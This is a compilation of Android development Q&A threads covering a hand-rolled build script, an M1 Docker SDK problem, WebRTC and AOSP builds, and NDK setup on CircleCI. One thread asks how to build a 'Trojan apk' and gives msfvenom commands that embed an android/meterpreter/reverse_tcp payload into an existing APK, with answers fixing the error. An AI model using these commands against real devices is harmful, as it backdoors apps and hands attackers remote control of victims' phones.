What is the most primitive possible toolchain for android programming? - android

I feel as though I'm trying to learn android programming in the middle of a fireworks display during a rodeo. All the fancy IDE stuff recommended by all the books I seem to find is just monumentally distracting from discovering what I really and truly need just to develop an android app.
Can anyone point me at documentation for the minimal set of the tools needed to actually build an app? I feel like if I could understand what the heck was actually going on, I'd be better able to use the fancy IDE.

Primitive? So, not Eclipse, and also not ant. You can use aapt, javac, dx, apkbuilder, and signer directly. Or more-or-less directly; you're still a programmer, you have ways of dealing with repetition.
I do some on-device app development with Terminal IDE. This is one my build scripts (named 'make'):
P=me/rapacity/stitch
rm src/$P/R.java
mkdir -m 770 -p dist || exit
mkdir -m 770 -p build/classes || exit
mkdir -m 770 -p tmp || exit
./index.perl
aapt p -f -M AndroidManifest.xml -F build/resources.res \
-I ~/sdk/3.2/android.jar -S res/ -J src/$P || exit
cd src
for F in \
SelectActivity.java Tilesets.java \
StitchActivity.java \
TilesetView.java \
; do
if test $P/$F -nt ../build/classes/$P/$(dirname $F)/$(basename $F .java).class; then
echo Building $P/$F
REBUILD=1
javac -d ../build/classes $P/$F 2> ../tmp/javac.out
../redcat ../tmp/javac.out
grep error ../tmp/javac.out && exit
fi
done
cd ..
if [ ! -z $REBUILD ]; then
set -x
( cd src; javac -d ../build/classes $P/R.java )
( cd build/classes; dx --dex --verbose --no-strict --output=../core.dex me ) || # 'me' as in me.rapacity.
apkbuilder dist/core.apk -u -z build/resources.res -f build/core.dex || exit
signer dist/core.apk core-debug.apk
else
echo +++ No need to rebuild .apk
fi
in which some lengths are gone to to avoid recompilation and to promptly exit after an error. Very little of that needs to be edited per-project.

Java SE 6 (NOT Java7!)
Recommended IDE is Eclipse (recommended as there are guides for it on the official documentation)
Android SDK (you need to download the API you want to develop for) and ADT - the android development tools - Guide
Optional:
Device and a connection for it, recommended, not necessary as an Emulator is bundled in the Android SDK

Give AIDE a try for Android on-device App development. It is very easy to get started and the project format is fully compatible with Eclipse, so if you want to continue development on your PC you can.
Getting started video: http://www.youtube.com/watch?feature=player_embedded&v=NGT9MqT3W2w

Related

Unable to get gradle build-tools in docker - Apple M1

I recently switched to Apple M1 and am having a problem creating a docker image that eventually runs on a Buildkite linux CI. The same code runs just fine on my MacBook with an Intel chip and successfully creates a docker image.
The problem happens when sdkmanager tries to pull in build-tools;${ANDROID_BUILD_TOOLS_VERSION} with the latest commandlinetools, it fails with the following errors:
Warning: Dependant package with key emulator not found!
Warning: Unable to compute a complete list of dependencies.ates...
The closest issues I can find are Install build-tools: emulator not found and Error with android sdk, both without any resolutions. Also note that I have run sdkmanager --list, and emulator is not present as an available package there (just on M1).
Here is my Dockerfile (I don't work with docker too often so please excuse if the code is not the cleanest):
FROM gradle:7.4-jdk11
ENV SDK_URL="https://dl.google.com/android/repository/commandlinetools-linux-8092744_latest.zip" \
ANDROID_HOME="/usr/local/android-sdk" \
ANDROID_VERSION=32 \
ANDROID_BUILD_TOOLS_VERSION=32.0.0
RUN mkdir "$ANDROID_HOME" .android \
&& cd "$ANDROID_HOME" \
&& curl -o sdk.zip $SDK_URL \
&& unzip sdk.zip \
&& rm sdk.zip \
&& yes | $ANDROID_HOME/cmdline-tools/bin/sdkmanager --sdk_root=$ANDROID_HOME --licenses \
&& $ANDROID_HOME/cmdline-tools/bin/sdkmanager --sdk_root=$ANDROID_HOME --update \
&& $ANDROID_HOME/cmdline-tools/bin/sdkmanager --sdk_root=$ANDROID_HOME "platform-tools" "build-tools;${ANDROID_BUILD_TOOLS_VERSION}" \
&& $ANDROID_HOME/cmdline-tools/bin/sdkmanager --sdk_root=$ANDROID_HOME "platforms;android-${ANDROID_VERSION}" \
&& apt-get update \
&& apt-get install -y build-essential file apt-utils curl gnupg \
&& curl -sL https://deb.nodesource.com/setup_14.x | bash - \
&& apt-get -y install nodejs \
&& npm install -g firebase-tools -y \
&& rm -rf /var/lib/apt/lists/*
Side note; I had to upgrade usage of jdk8 to jdk11 for the Android build agent, the previous implementation was pulling in sdk-tools-linux-3859397.zip instead of commandlinetools-linux-8092744_latest.zip, and that was able to pull in build-tools via the sdkmanager just fine on the M1 as well and created a docker image.
Given that it builds on Intel, my task is technically complete, but it's going to be much easier in the long run that it runs on M1. Any ideas? Or can anyone suggest what the right place would be to raise this? Do you reckon it is a google command line tool issue or docker issue?
I just had the same problem on M1 Pro and this solved the issue for me.
In short: emulator is not available on Arm (M1) yet so you need to install it manually. You can follow the official guide but in short, this worked for me
Download emulator for Apple Silicon (example or you find more links in the [official guide](https://developer.android.com/studio/emulator_archive
Unzip the folder in Android SDK folder (it will create a SKD/emulator folder with files inside)
Create SDK/emulator/package.xml file with content from here and update the last part of the xml <revision><major>31</major><minor>1</minor><micro>4</micro></revision> with the version you downloaded
You should not see the same error again on M1 🎉
Spoiler Alert: I'm still not able to fully build on M1 because, during the actual build, I get the error
qemu-x86_64: Could not open '/lib64/ld-linux-x86-64.so.2': No such file or directory
I have same issue. I think there is no android 'emulator' package for linux/armv8 . So you won't be able to use docker with native images.
I tried to configure docker-compose file in order to use linux/x86_64 instead of linux/armv8 but there are others issues.
I add this line in docker-compose.yaml :
platform: linux/x86_64
like this :
version: '3.7'
services:
android:
platform: linux/x86_64
build:
dockerfile: Dockerfile
context: ./Docker
working_dir: /app/Android/Scripts
volumes:
- ../:/app:rw,cached
command: ./build_distribution.sh
# command: sh -c "while true; do sleep 10; done"
But I get a lot of issue with network. It seems that network layer on this architecture is buggy and sometimes it is stuck downloading an image or a component randomly...
Is there a way to make it work with one or other architecture ?

webrtc_android native api not find the AppRTCMobile example

I'm on ubuntu 16.04 and try to install on my lollipop 5.1 tablet, native api webrtc example (AppRtcMobile example).
I successfully installed chromium on my lollipop device. Now after removing the folders used to install chromium on the lollipop device from the ubuntu pc I'm trying to compile an example project about webrtc using the grandle system or adb at the command line. But the compilation always stops at the same point.
Unfortunately, I'm new to git, ninja, fetch and gn, so I do not understand where the error is.
I follow the procedure that I describe below (as I understand that the commands work) and create 3 different installation directories so as to install even on devices other than "arm".
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$PATH:/my-path/to/depot_tools
mkdir ~/webrTEST && cd ~/webrtcTEST
fetch --nohooks webrtc_android
gclient sync
./build/install-build-deps.sh
gn gen out/DebugArm --args='target_os="android" target_cpu="arm"'
gn gen out/DebugArm64 --args='target_os="android" target_cpu="arm64"'
gn gen out/DebugX64 --args='target_os="android" target_cpu="x64"'
ninja -C out/DebugArm
ninja -C out/DebugArm64
ninja -C out/DebugX64
. build/android/envsetup.sh
ninja -C out/DebugX64 AppRTCMobile
I try to study more than one "tutorial" and the offial guide too, but ninja retur everytime the same result:
myuser#mymachine:~~/webrtcTEST/src$ ninja -C out/DebugX64 AppRTCMobile
ninja: Entering directory `out/DebugX64'
ninja: no work to do.
Anyone can suggest my where is/sre my error?
regards
bkt
UPDATE:
using ls command not find AppRTCMobile but other app example or other ...
the command:
ninja -C out/DebugX64 :xxxx/xxxx/xxxx
work great ... so at these point the question change into:
where is the old AppRTCMobile example located or which is the new name of the example that allows me to android lollipop to use the server google appr.tc ??
Any how if in my manner of install the webrtc-android git there are some error please help my to find it.
regards
bkt
I did not understand the reason, but by deleting everything and re executing the procedure written in the application I got the desired result and I compiled AppRTCMobile.

metasploit: Malformed version number string when selecting dalvik as architecture

I’m trying to create a Trojan apk for android using metasploit, this is the command I’m using:
msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
And I'm getting this error:
Error: Malformed version number string 10:55:45 up 1:23, 1 user, load average: 0.62, 0.54, 0.39
USER TTY FROM LOGIN# IDLE JCPU PCPU WHAT
user123 tty7 :0 09:32 1:23m 1:10 0.13s /sbin/upstart --user
2.0.2-dirty
Then I tried selecting different architecture e.g. java:
msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
and it worked (something-Out.apk was generated). So it seems like the Malformed version number string error only happens when dalvik is selected as the architecture, any idea why this is happening and how to fix it?
I'm doing this on Ubuntu on VirtualBox, which is run from a Mac. Any help will be appreciated, thanks!
Credits to:
https://forums.hak5.org/index.php?/topic/38648-msfvenom-error-ubuntu-1604/
Had the same problem, but I was trying to run a simpler version of the code (which works obviously). After searching in forums, turned out to be a problem with apktool. I downloaded apktool using sudo apt-get install apktool, but that version doesn't work as it should.
Once removed with sudo apt-get remove apktool I downloaded the latest version from the website and it worked.
I know it's been a year, but I've been searching for days. Hope it helps... someone.
I had the same problem with msfvenom. Try running "msfupdate" it will download a 70 mib package and it will fix your problem.
You just need follow this syntax:
EX:
rmsfvenom -a java --platform android -x z.apk -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -o o.apk
So also if you using -o will not need 'R'

AOSP 6.0 Build for hammerhead - proprietary binaries

I just built AOSP 6.0 for hammerhead and attempted to flash it. My phone froze at the Google logo and refused to boot. I'm assuming I need to use the proprietary binaries found here https://developers.google.com/android/nexus/drivers
How would I extract these and put them in to my build? Thanks.
Be certain to download the Nexus 5 binaries that match the version of AOSP that you're building. For example, if you're building the most recent version of AOSP, when you initialized your repo you entered this command:
$ repo init -u https://android.googlesource.com/platform/manifest -b android-6.0.1_r72
Take that last branch code (everything after '-b') android-6.0.1_r72 and search for it over here:
https://source.android.com/source/build-numbers.html#source-code-tags-and-builds
It matches build M4B30X
Now, take that build code M4B30X and search for it over here:
https://developers.google.com/android/nexus/drivers
Download the corresponding binaries:
$ cd ~/Downloads
$ wget https://dl.google.com/dl/android/aosp/broadcom-hammerhead-m4b30x-7c7b231f.tgz
$ wget https://dl.google.com/dl/android/aosp/lge-hammerhead-m4b30x-74fa3aa5.tgz $ wget https://dl.google.com/dl/android/aosp/qcom-hammerhead-m4b30x-158606cf.tgz
Verify the integrity of each download:
$ echo "01a03cf36b20ee2460d108c1d199f4b012b084368cddfbff1e40ff8270b54d6f broadcom-hammerhead-m4b30x-7c7b231f.tgz" | sha256sum -c
$ echo "a533f4c82d430181b97ab2321acf10ab1e2b126de7bb15437c969331541af7cb lge-hammerhead-m4b30x-74fa3aa5.tgz" | sha256sum -c
$ echo "9a2760bda79e3be7bbe7203c05273c80b0d043d9aaf15be20361e35b16ef8905 qcom-hammerhead-m4b30x-158606cf.tgz" | sha256sum -c
Extract each gzip file:
$ tar xzvf broadcom-hammerhead-m4b30x-7c7b231f.tgz
$ tar xzvf lge-hammerhead-m4b30x-74fa3aa5.tgz
$ tar xzvf qcom-hammerhead-m4b30x-158606cf.tgz
Execute the resulting self-extracting files from the source tree's root folder(~/AOSP)
$ cd ~/AOSP
$ ~/Downloads/extract-broadcom-hammerhead.sh
$ ~/Downloads/extract-lge-hammerhead.sh
$ ~/Downloads/extract-qcom-hammerhead.sh
After executing each file hit the Enter key once and then hit
the Space bar until you reach the end of each document.
At the end of each document type:
I ACCEPT
and hit the Enter key.
To accommodate the new binaries you must initiate a full rebuild, so set the
environment:
$ ./ build/envsetup.sh
$ lunch aosp_hammerhead-userdebug
And make the synthetic target 'clobber' in order to clean:
$ make clobber
Now rebuild:
(If you're running a Core2Duo)
$ make -j4
(Or, if you're running something bigger)
$ make -j16
Uncompress the downloaded files, you will get bash files. Put all these files in the root directory of your AOSP project and execute them. You will have to accept the licenses and the binaries will be extracted in the right directory.
After this step. In the AOSP root directory, execute :
make clobber
It will clean the current build (out/**). It is needed for the make to notice the changes regarding the AOSP build official procedure.
Then you can compile again the sources.
make -j4
(or j8/j16 regarding your CPU threads number)

How to setup NDK on circleci for android app or lib project?

I have an Android lib project that has some C code that it depends on. In order for it to compile it needs to run compileNdk... task.
Setting up the NDK locally is pretty straightforward. However, getting it to work with circleci is not so straightforward. The circleci docs have a good amount of info on how to install the android SDK properly but there is nothing on how to properly install NDK on circleci.
What is the best way to install the Android NDK on circleci so it can successfully build/compile with my continuous integration setup?
CircleCI actually installs the NDK. It can be referenced by using the $ANDROID_NDK environment variable.
They explain this at the end of the dependencies section here https://circleci.com/docs/android
For anyone looking now, at the time of writing, CircleCI still does not bundle the NDK in the 14.04 environment.
However, you can add it manually and cache it
dependencies:
cache_directories:
- ~/android-ndk-r11c
pre:
- if [[ ! -e ~/android-ndk-r11c ]]; then wget http://dl.google.com/android/repository/android-ndk-r11c-linux-x86_64.zip && unzip -d ~ android-ndk-r11c-linux-x86_64.zip; fi
And add the environment vars manually:
machine:
environment:
ANDROID_NDK: $HOME/android-ndk-r11c
ANDROID_NDK_HOME: $ANDROID_NDK
PATH: $PATH:$ANDROID_NDK
UPDATE: circleci now installs NDK for you.
The best solution I have found so far is to install the NDK via wget and run the bin file. It also requires setting up an environment variable for ANDROID_NDK_HOME.
Here is a sample of what I have successfully running on circleci.
circle.yml
machine:
environment:
ANDROID_HOME: /home/ubuntu/android
ANDROID_NDK_HOME: /home/ubuntu/android/android-ndk
dependencies:
cache_directories:
- ~/.android
- ~/android
override:
- ./install-dependencies.sh
install-dependencies.sh
if [ ! -e $DEPS ]; then
... &&
wget http://dl.google.com/android/ndk/android-ndk-r10d-linux-x86_64.bin -O $ANDROID_HOME/android-install-ndk.bin &&
chmod a+x $ANDROID_HOME/android-install-ndk.bin &&
cd $ANDROID_HOME && $ANDROID_HOME/android-install-ndk.bin &&
mv $ANDROID_HOME/android-ndk* $ANDROID_HOME/android-ndk
touch $DEPS
fi

Categories

Resources